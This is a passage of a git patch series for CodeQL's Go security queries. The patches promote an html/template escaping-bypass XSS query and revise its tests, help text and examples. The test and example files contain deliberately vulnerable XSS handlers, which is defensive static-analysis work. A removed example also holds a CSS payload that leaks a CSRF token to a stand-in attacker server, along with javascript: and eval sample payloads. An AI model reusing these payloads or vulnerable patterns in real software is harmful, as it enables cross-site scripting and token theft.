w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] - content, err2 := ioutil.ReadAll(file) + content, err2 := io.ReadAll(file) w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 1313f431dd53..aa8bc8e41add 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr "nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -30,7 +30,7 @@ func xss(w http.ResponseWriter, r *http.Request) { var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] - codec := &websocket.Codec{marshal, unmarshal} + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] From 3b934b8898294c0fbe9c34ab55270c70abc10abe Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Fri, 25 Apr 2025 13:58:11 +0100 Subject: [PATCH 14/21] Add comment on importance of `Function.getACall()` --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index e8a4202a98f0..3f7c89e720a7 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -25,6 +25,11 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. */ predicate isSinkToTemplateExec(DataFlow::Node sink) { exists(Method fn, string methodName, DataFlow::CallNode call | From 38dcc1cb843b8dd23a86780f5165a42316d66b6a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Fri, 25 Apr 2025 17:19:31 +0100 Subject: [PATCH 15/21] Fix QLDoc --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 3f7c89e720a7..dd67df44fe63 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -52,7 +52,8 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to an unescaped type has occurred. + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From f8791861c70ec02622e7b30b07cd5f10547506e4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Fri, 25 Apr 2025 17:18:53 +0100 Subject: [PATCH 16/21] Add missing metadata --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index dd67df44fe63..6dc0f702841c 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -5,6 +5,8 @@ * scripting vulnerability. * @kind path-problem * @problem.severity error + * @security-severity 6.1 + * @precision high * @id go/html-template-escaping-bypass-xss * @tags security * external/cwe/cwe-079 From 6e3b959f6110f29a691e3dae583f2bb98283ea85 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Wed, 30 Apr 2025 14:15:14 +0100 Subject: [PATCH 17/21] Reword qhelp slightly --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index 50659b0ba3ec..2a0d27304c95 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through. </p> - <p>Using them on user-provided values will result in an opportunity for XSS.</p> + <p>Using them on user-provided values allows for a cross-site scripting vulnerability.</p> </overview> <recommendation> <p> From 00cc430ac3a41d6cb2c1eb0f7f93d77340c8cd21 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 1 May 2025 15:50:50 +0100 Subject: [PATCH 18/21] Make examples in qhelp shorter and more realistic --- .../HtmlTemplateEscapingBypassXssBad.go | 69 ++----------------- .../HtmlTemplateEscapingBypassXssGood.go | 14 ++-- 2 files changed, 12 insertions(+), 71 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go index a23dfa153ded..d9bd46a6b9d7 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -2,69 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`) - tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`) - tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`) - - { - { - var a = template.HTML(source(`<a href='example.com'>link</a>`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`<a href='example.com'>link</a>`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`<a href='example.com'>link</a>`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`<b>Hi {{.}}</b>`) + tmpl.Execute(w, template.HTML(username)) } diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go index 3c0a8ad4eb4a..8460f00ba1de 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -2,14 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`<a href="example.com">link</a>`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`<b>Hi {{.}}</b>`) + tmpl.Execute(w, username) } From 8283d30d941344abc64297a0abb48e2fbf31192c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 1 May 2025 15:51:03 +0100 Subject: [PATCH 19/21] Avoid deprecated function in qhelp examples in same folder --- go/ql/src/Security/CWE-079/StoredXss.go | 4 ++-- go/ql/src/Security/CWE-079/StoredXssGood.go | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4cae..192774f0307d 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3fb..a7843e1cfe50 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") From bef38a4dcefcb25e3265470ea4b6a243be891786 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 1 May 2025 16:04:47 +0100 Subject: [PATCH 20/21] Add change note --- .../2025-05-01-html-template-escaping-bypass-xss.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md new file mode 100644 index 000000000000..ab02478bf4a2 --- /dev/null +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in <https://github.com/github/codeql-go/pull/493>. From 9ba47eb65536bb723eea5ab73af3d9e2212b233f Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 1 May 2025 21:51:12 +0100 Subject: [PATCH 21/21] Update query suite inclusion integration tests --- .../integration-tests/query-suite/go-code-scanning.qls.expected | 1 + .../query-suite/go-security-and-quality.qls.expected | 1 + .../query-suite/go-security-extended.qls.expected | 1 + go/ql/integration-tests/query-suite/not_included_in_qls.expected | 1 - 4 files changed, 3 insertions(+), 1 deletion(-) diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec0..20fcacbc3896 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef7..7ff321d24ab9 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364ab..3506e1020dde 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a29..ac2e3cb4c3a9 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -20,7 +20,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql